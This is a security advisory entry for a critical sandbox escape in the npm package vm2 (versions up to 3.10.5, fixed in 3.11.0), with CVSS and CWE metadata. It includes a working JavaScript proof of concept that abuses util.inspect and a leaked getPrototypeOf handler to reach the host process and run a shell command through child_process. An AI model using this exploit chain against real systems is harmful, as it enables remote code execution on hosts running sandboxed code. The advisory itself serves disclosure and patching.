GHSA-qcp4-v2jj-fjx8

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Source
https://github.com/advisories/GHSA-qcp4-v2jj-fjx8
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-qcp4-v2jj-fjx8/GHSA-qcp4-v2jj-fjx8.json
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https://api.osv.dev/v1/vulns/GHSA-qcp4-v2jj-fjx8
Aliases
Published
2026-05-07T03:54:34Z
Modified
2026-05-14T20:52:26Z
Severity
  • 10.0 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H CVSS Calculator
Summary
vm2 has a Sandbox Escape Vulnerability
Details

Summary

It is possible to reach BaseHandler.getPrototypeOf, which can be used to get arbitrary prototypes

Details

https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L655-L658

BaseHandler can be reached via util.inspect (same as https://github.com/patriksimek/vm2/commit/57971fa423abeb66f09e47e18102986549474ca8)

PoC

let obj = {
	subarray: Buffer.prototype.inspect,
	slice: Buffer.prototype.slice,
	hexSlice: () => '',
};

let sym;

obj.slice(10, {
	showHidden: true,
	showProxy: true,
	depth: 10,
	stylize(a) {
		const handler = this.seen && this.seen[1];

		if (handler && handler.getPrototypeOf) {
			gP = handler.getPrototypeOf;
			HObjectProto = gP(gP(gP(gP(Buffer))));
			HObject = HObjectProto.constructor;
			sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);
		}
		return a;
	},
});

obj = {
	[sym]: (depth, opt, inspect) => {
		inspect.constructor('return process')()
		.getBuiltinModule('child_process')
		.execSync('id', { stdio: 'inherit' });
	},
	valueOf: undefined,
	constructor: undefined,
};

WebAssembly.compileStreaming(obj).catch(() => {});

Impact

Sandbox Escape -> RCE

Database specific
{
    "cwe_ids":  [
        "CWE-94"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-05-07T03:54:34Z",
    "nvd_published_at":  "2026-05-13T18:16:17Z",
    "severity":  "CRITICAL"
}
References

Affected packages

npm / vm2

Package

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
3.11.0

Database specific

last_known_affected_version_range
"<= 3.10.5"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-qcp4-v2jj-fjx8/GHSA-qcp4-v2jj-fjx8.json"